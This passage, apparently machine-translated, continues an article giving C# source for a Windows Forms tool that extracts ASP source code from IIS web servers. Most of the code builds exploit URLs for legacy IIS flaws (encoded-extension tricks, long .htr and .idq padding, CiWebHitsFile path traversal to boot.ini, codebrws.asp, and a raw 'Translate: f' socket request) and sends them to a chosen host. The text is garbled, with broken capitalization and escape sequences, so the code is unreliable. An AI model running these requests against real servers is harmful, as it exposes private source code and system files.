An application that uses C # To scan ASP source code vulnerabilities (continued)

 

// Main method
Protected void btngo_click (Object sender, system. eventargs E)
{

// Parse the URL
String strserver = this.txt server. text;
String strurl = this.txt filename. text;
Char [] Point = {'.'}; // defines the delimiter "."
Char [] line = {'/'}; // defines the delimiter "."
String [] arrstring = strurl. Split (line );

// Obtain the full name of the ASP file
String strfilename = arrstring [arrstring. Length-1];
// Find the path from the root directory
String strpath = strurl. substring (0,
Strurl. Length-strfilename. Length );

// Parse the full name of the file
Arrstring = strfilename. Split (point );
// Obtain the file extension.
String strlast = arrstring [arrstring. Length-1];
// Calculate the file name
String strfirst = strfilename. substring (0,
Strfilename. Length-strlast. Length-1 );

 

// Invalidate buttons and input boxes
This.txt server. readonly = true;
This.txt filename. readonly = true;
This. btnclear. Enabled = false;
This. btngo. Enabled = false;

If (this.txt server. Text = "http: //" | this.txt filename. Text = ""
| This.txt server. Text. Trim () = "" |
This.txt server. Text. substring (0, 7 )! = "Http ://")
{
MessageBox. Show ("enter the correct host name and file name! ");
This.txt server. Focus ();
}
Else
{
This.txt result. Visible = true;
This.txt result. readonly = true;
This. barstatus. Text = "connecting host... ";

String strrequestfile;

Switch (this. cbomethod. selectedindex)
{
Case 0: // read directly
Strrequestfile = strserver + strurl;
Break;
Case 5: // % 2e % 41sp
Strrequestfile = strserver + strpath + strfirst
+ "% 2e % 41sp ";
Break;
Case 8: // longhtr
Strrequestfile = strserver + strurl
+ "+ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htr ";
Break;

Case 10: // codebrws. asp
Strrequestfile = strserver + "/iissamples/ExAir/howitworks/codebrws. asp? Source ="
+ Strurl;
Break;

Case 11: // Showcode. asp
Strrequestfile = strserver + "/iissamples/ExAir/howitworks/codebrws. asp? Source ="
+ "/MSADC/.../boot. ini ";
Break;

Case 12: // null. HTW
Strrequestfile = strserver + "/null. HTW? Ciwebhitsfile ="
+ Strurl + "% 20 & cirestriction = none & cihilitetype = Full ";
Break;
Case 13: // qfullhit. HTW
Strrequestfile = strserver + "/iissamples/ISSamples/OOP/qfullhit. HTW? "
+ "Ciwebhitsfile =/.../../boot. ini & cirestriction = none"
+ "& Cihilitetype = Full ";
Break;

Case 14: // qsumrhit. HTW
Strrequestfile = strserver + "/iissamples/ISSamples/OOP/qsumrhit. HTW? "
+ "Ciwebhitsfile =/.../../boot. ini & cirestriction = none"
+ "& Cihilitetype = Full ";
Break;

Case 15: // query. idq
Strrequestfile = strserver + "/query. idq? Citemplate =/.../../boot. ini"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htx ";
Break;

Case 16: // search/qfullhit. HTW
Strrequestfile = strserver + "/iissamples/ExAir/search/qfullhit. HTW? "
+ "Ciwebhitsfile =/.../../boot. ini & cirestriction = none"
+ "& Cihilitetype = Full ";
Break;

Case 17: // search/qsumrhit. HTW
Strrequestfile = strserver + "/iissamples/ExAir/search/qsumrhit. HTW? "
+ "Ciwebhitsfile =/.../../boot. ini & cirestriction = none"
+ "& Cihilitetype = Full ";
Break;

Case 18: // iirturnh. HTW
Strrequestfile = strserver + "/IISHelp/IIS/MISC/iirturnh. HTW? "
+ "Ciwebhitsfile =/.../../boot. ini & cirestriction = none"
+ "& Cihilitetype = Full ";
Break;

Case 19: //. HTW
Strrequestfile = strserver + strurl
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% running htw? "
+ "Ciwebhitsfile =/.../../boot. ini & cirestriction = none"
+ "& Cihilitetype = Full ";
Break;

Default:
Strrequestfile = strserver + strurl + this. cbomethod. text;
}

This. barstatus. Text = "Send request :"
+ (Strrequestfile. length> = 50?
Strrequestfile. substring (0, 50)
: Strrequestfile)
+ "...";

String strresult;
// If it is not the translate: F method, you can directly send an HTTP request
If (this. cbomethod. selectedindex! = 20)
{
// Send an HTTP request directly
Strresult = get_http (strrequestfile );

This. barstatus. Text + = "complete. ";
Strresult = ""? "Not found! ": Strresult;
This.txt result. Text = strresult;
}
Else // translate: The F method requires a TCP/IP connection.
{
String strrequest = "get" + strserver + strurl
+ "/R/nhttp/1.0/R/ntranslate: F/R/N ";
Strresult = get_socket_request (strserver, strrequest, 80 );
This. barstatus. Text + = "complete. ";
Strresult = ""? "Not found! ": Strresult;
This.txt result. Text = strresult;

}

}

// Restore button and Input
This.txt server. readonly = false;
This.txt filename. readonly = false;
This. btnclear. Enabled = true;
This. btngo. Enabled = true;

}

// Establish a TCP/IP connection with the server and send the socket command
Private string get_socket_request (string a_strserver, string a_strrequest, int32 a_intport)
{
// Set up variables and string to write to the server
Encoding ASCII = encoding. default;
String get = a_strrequest + "connection: Close/R/n/R/N ";
// String get =
Byte [] byteget = ASCII. getbytes (get );
Byte [] recvbytes = new byte [1, 256];
String strretpage = NULL;

// IPaddress and ipendpoint represent the endpoint that will
// Receive the request
IPaddress hostadd = DNS. Resolve (a_strserver.substring (7, a_strserver.length-7 ));
Ipendpoint ephost = new ipendpoint (hostadd, a_intport );

// Create the socket for sending data over TCP
Socket S = new socket (addressfamily. afinet, sockettype. sockstream,
Protocoltype. prottcp );

// Connect to host using ipendpoint
If (S. Connect (ephost )! = 0)
{
Strretpage = "unable to connect to host ";
Return strretpage;
}

// Sent the get text to the host
S. Send (byteget, byteget. length, 0 );

// Receive the page, loop until all bytes are stored ed
Int32 bytes = S. Receive (recvbytes, recvbytes. length, 0 );
Strretpage = strretpage + ASCII. getstring (recvbytes, 0, bytes );

While (Bytes> 0)
{
Bytes = S. Receive (recvbytes, recvbytes. length, 0 );
Strretpage = strretpage + ASCII. getstring (recvbytes, 0, bytes );
}

Return strretpage;
}

// Obtain the HTTP page Function
Private string get_http (string a_strurl)
{
String strresult;
Httpwebrequest myreq = (httpwebrequest)
Webrequestfactory. Create (a_strurl );

Try
{
Httpwebresponse httpwresp = (httpwebresponse) myreq. getresponse ();
Stream mystream = httpwresp. getresponsestream ();

Streamreader sr = new streamreader (mystream, encoding. Default );
Stringbuilder strbuilder = new stringbuilder ();
While (-1! = Sr. Peek ())
{
Strbuilder. append (Sr. Readline () + "/R/N ");
}

Strresult = strbuilder. tostring ();
}
Catch (exception exp)
{
Strresult = "error:" + exp. message;
}

Return strresult;

}

// Exit
Protected void mnuexit_click (Object sender, system. eventargs E)
{

If (MessageBox. Show ("are you sure you want to exit? "," Exit System ", MessageBox. yesno) = dialogresult. Yes)
{
This. Close ();

}
}

// Main Function
Public static void main (string [] ARGs)
{
Application. Run (New form1 ());
}
}
}